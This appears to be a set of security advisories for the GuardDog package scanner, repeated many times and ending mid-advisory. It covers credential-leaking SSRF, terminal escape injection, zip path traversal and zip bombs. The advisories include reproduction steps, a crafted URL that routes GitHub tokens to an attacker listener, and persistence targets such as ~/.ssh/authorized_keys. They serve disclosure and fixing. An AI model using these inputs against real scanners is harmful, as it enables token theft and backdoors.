Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.

Description

The finding formatter stores file paths and snippets from scanned content:

location = file_path + ":" + str(start_line)
finding = {
    "location": location,
    "code": code,
    "message": result["extra"]["message"],
}

The human-readable reporter later prints these values directly:

"  * " + finding["message"] + " at " + finding["location"] + "\n    " + _format_code_line_for_output(finding["code"])

No escaping is applied for control characters such as \x1b. A malicious package can therefore ship a filename like:

evil\x1b[2J.py

or matched source lines containing terminal escapes, which survive into the final CLI output.

Reproduction summary

1. Create a file whose name contains \x1b[2J.
2. Feed a semgrep-style result referencing that file into Analyzer._format_semgrep_response().
3. Render the result with HumanReadableReporter.print_scan_results().
4. The output string contains the raw escape bytes, which a terminal may interpret.

Key code paths

• guarddog/analyzer/analyzer.py:377-392
• guarddog/reporters/human_readable.py:36-42
• guarddog/reporters/human_readable.py:84-91

Practical impact

This can be used to:

• clear or rewrite analyst terminal output
• inject misleading or spoofed log content in CI
• emit clickable OSC 8 hyperlinks or title changes in compatible terminals

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.

Description

The finding formatter stores file paths and snippets from scanned content:

location = file_path + ":" + str(start_line)
finding = {
    "location": location,
    "code": code,
    "message": result["extra"]["message"],
}

The human-readable reporter later prints these values directly:

"  * " + finding["message"] + " at " + finding["location"] + "\n    " + _format_code_line_for_output(finding["code"])

No escaping is applied for control characters such as \x1b. A malicious package can therefore ship a filename like:

evil\x1b[2J.py

or matched source lines containing terminal escapes, which survive into the final CLI output.

Reproduction summary

1. Create a file whose name contains \x1b[2J.
2. Feed a semgrep-style result referencing that file into Analyzer._format_semgrep_response().
3. Render the result with HumanReadableReporter.print_scan_results().
4. The output string contains the raw escape bytes, which a terminal may interpret.

Key code paths

• guarddog/analyzer/analyzer.py:377-392
• guarddog/reporters/human_readable.py:36-42
• guarddog/reporters/human_readable.py:84-91

Practical impact

This can be used to:

• clear or rewrite analyst terminal output
• inject misleading or spoofed log content in CI
• emit clickable OSC 8 hyperlinks or title changes in compatible terminals

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.

Description

The finding formatter stores file paths and snippets from scanned content:

location = file_path + ":" + str(start_line)
finding = {
    "location": location,
    "code": code,
    "message": result["extra"]["message"],
}

The human-readable reporter later prints these values directly:

"  * " + finding["message"] + " at " + finding["location"] + "\n    " + _format_code_line_for_output(finding["code"])

No escaping is applied for control characters such as \x1b. A malicious package can therefore ship a filename like:

evil\x1b[2J.py

or matched source lines containing terminal escapes, which survive into the final CLI output.

Reproduction summary

1. Create a file whose name contains \x1b[2J.
2. Feed a semgrep-style result referencing that file into Analyzer._format_semgrep_response().
3. Render the result with HumanReadableReporter.print_scan_results().
4. The output string contains the raw escape bytes, which a terminal may interpret.

Key code paths

• guarddog/analyzer/analyzer.py:377-392
• guarddog/reporters/human_readable.py:36-42
• guarddog/reporters/human_readable.py:84-91

Practical impact

This can be used to:

• clear or rewrite analyst terminal output
• inject misleading or spoofed log content in CI
• emit clickable OSC 8 hyperlinks or title changes in compatible terminals

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.

Description

The finding formatter stores file paths and snippets from scanned content:

location = file_path + ":" + str(start_line)
finding = {
    "location": location,
    "code": code,
    "message": result["extra"]["message"],
}

The human-readable reporter later prints these values directly:

"  * " + finding["message"] + " at " + finding["location"] + "\n    " + _format_code_line_for_output(finding["code"])

No escaping is applied for control characters such as \x1b. A malicious package can therefore ship a filename like:

evil\x1b[2J.py

or matched source lines containing terminal escapes, which survive into the final CLI output.

Reproduction summary

1. Create a file whose name contains \x1b[2J.
2. Feed a semgrep-style result referencing that file into Analyzer._format_semgrep_response().
3. Render the result with HumanReadableReporter.print_scan_results().
4. The output string contains the raw escape bytes, which a terminal may interpret.

Key code paths

• guarddog/analyzer/analyzer.py:377-392
• guarddog/reporters/human_readable.py:36-42
• guarddog/reporters/human_readable.py:84-91

Practical impact

This can be used to:

• clear or rewrite analyst terminal output
• inject misleading or spoofed log content in CI
• emit clickable OSC 8 hyperlinks or title changes in compatible terminals

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.

Description

The finding formatter stores file paths and snippets from scanned content:

location = file_path + ":" + str(start_line)
finding = {
    "location": location,
    "code": code,
    "message": result["extra"]["message"],
}

The human-readable reporter later prints these values directly:

"  * " + finding["message"] + " at " + finding["location"] + "\n    " + _format_code_line_for_output(finding["code"])

No escaping is applied for control characters such as \x1b. A malicious package can therefore ship a filename like:

evil\x1b[2J.py

or matched source lines containing terminal escapes, which survive into the final CLI output.

Reproduction summary

1. Create a file whose name contains \x1b[2J.
2. Feed a semgrep-style result referencing that file into Analyzer._format_semgrep_response().
3. Render the result with HumanReadableReporter.print_scan_results().
4. The output string contains the raw escape bytes, which a terminal may interpret.

Key code paths

• guarddog/analyzer/analyzer.py:377-392
• guarddog/reporters/human_readable.py:36-42
• guarddog/reporters/human_readable.py:84-91

Practical impact

This can be used to:

• clear or rewrite analyst terminal output
• inject misleading or spoofed log content in CI
• emit clickable OSC 8 hyperlinks or title changes in compatible terminals

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
